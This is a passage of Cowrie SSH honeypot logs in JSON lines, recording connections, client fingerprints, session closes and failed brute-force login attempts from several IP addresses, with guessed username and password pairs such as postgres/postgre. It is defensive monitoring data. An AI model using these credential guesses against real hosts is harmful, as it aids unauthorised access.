af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:36.828570Z","src_ip":"103.228.69.212","session":"1a9511a14a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123123","message":"login attempt [sftpuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:37.773087Z","src_ip":"103.228.69.212","session":"1a9511a14a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:39.004363Z","src_ip":"103.228.69.212","session":"1a9511a14a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49400,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed60dbea0aca","protocol":"ssh","message":"New connection: 159.203.92.129:49400 (159.203.135.109:22) [session: ed60dbea0aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:59.964248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:59.969413Z","src_ip":"159.203.92.129","session":"ed60dbea0aca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:59.975004Z","src_ip":"159.203.92.129","session":"ed60dbea0aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Alex","password":"Alex","message":"login attempt [Alex/Alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:59.990083Z","src_ip":"159.203.92.129","session":"ed60dbea0aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:01.013445Z","src_ip":"159.203.92.129","session":"ed60dbea0aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45690,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4b7d5685910","protocol":"ssh","message":"New connection: 80.94.92.186:45690 (159.203.135.109:22) [session: b4b7d5685910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:33.309540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:33.374111Z","src_ip":"80.94.92.186","session":"b4b7d5685910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:33.470641Z","src_ip":"80.94.92.186","session":"b4b7d5685910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:33.911761Z","src_ip":"80.94.92.186","session":"b4b7d5685910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":55100,"dst_ip":"159.203.135.109","dst_port":22,"session":"acff7771267b","protocol":"ssh","message":"New connection: 103.228.69.212:55100 (159.203.135.109:22) [session: acff7771267b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:34.623133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:34.627658Z","src_ip":"103.228.69.212","session":"acff7771267b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:34.854325Z","src_ip":"103.228.69.212","session":"acff7771267b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:35.034369Z","src_ip":"80.94.92.186","session":"b4b7d5685910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgre","message":"login attempt [postgres/postgre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:35.794398Z","src_ip":"103.228.69.212","session":"acff7771267b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:37.036031Z","src_ip":"103.228.69.212","session":"acff7771267b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34932,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fd60be6e143","protocol":"ssh","message":"New connection: 159.203.92.129:34932 (159.203.135.109:22) [session: 4fd60be6e143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:44.127507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:44.132945Z","src_ip":"159.203.92.129","session":"4fd60be6e143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:44.143220Z","src_ip":"159.203.92.129","session":"4fd60be6e143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Alex","password":"Alex123","message":"login attempt [Alex/Alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:44.157231Z","src_ip":"159.203.92.129","session":"4fd60be6e143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:45.164921Z","src_ip":"159.203.92.129","session":"4fd60be6e143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35268,"dst_ip":"159.203.135.109","dst_port":22,"session":"59b3420b0d47","protocol":"ssh","message":"New connection: 37.143.61.84:35268 (159.203.135.109:22) [session: 59b3420b0d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:53.181986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:53.590158Z","src_ip":"37.143.61.84","session":"59b3420b0d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:53.779163Z","src_ip":"37.143.61.84","session":"59b3420b0d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test#123","message":"login attempt [test/test#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:55.689586Z","src_ip":"37.143.61.84","session":"59b3420b0d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:31:56.884831Z","src_ip":"37.143.61.84","session":"59b3420b0d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56988,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14be0a85a1b","protocol":"ssh","message":"New connection: 159.203.92.129:56988 (159.203.135.109:22) [session: d14be0a85a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:28.226919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:28.231538Z","src_ip":"159.203.92.129","session":"d14be0a85a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:28.238311Z","src_ip":"159.203.92.129","session":"d14be0a85a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Alexei","password":"Alexei","message":"login attempt [Alexei/Alexei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:28.253232Z","src_ip":"159.203.92.129","session":"d14be0a85a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:29.262017Z","src_ip":"159.203.92.129","session":"d14be0a85a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":44314,"dst_ip":"159.203.135.109","dst_port":22,"session":"65c51108afb4","protocol":"ssh","message":"New connection: 103.228.69.212:44314 (159.203.135.109:22) [session: 65c51108afb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:33.684661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:33.690050Z","src_ip":"103.228.69.212","session":"65c51108afb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:33.917536Z","src_ip":"103.228.69.212","session":"65c51108afb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stserver","password":"stserver","message":"login attempt [stserver/stserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:34.851552Z","src_ip":"103.228.69.212","session":"65c51108afb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:36.082575Z","src_ip":"103.228.69.212","session":"65c51108afb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39828,"dst_ip":"159.203.135.109","dst_port":22,"session":"348a1291ce4f","protocol":"ssh","message":"New connection: 2.57.122.238:39828 (159.203.135.109:22) [session: 348a1291ce4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:40.511232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:40.515769Z","src_ip":"2.57.122.238","session":"348a1291ce4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],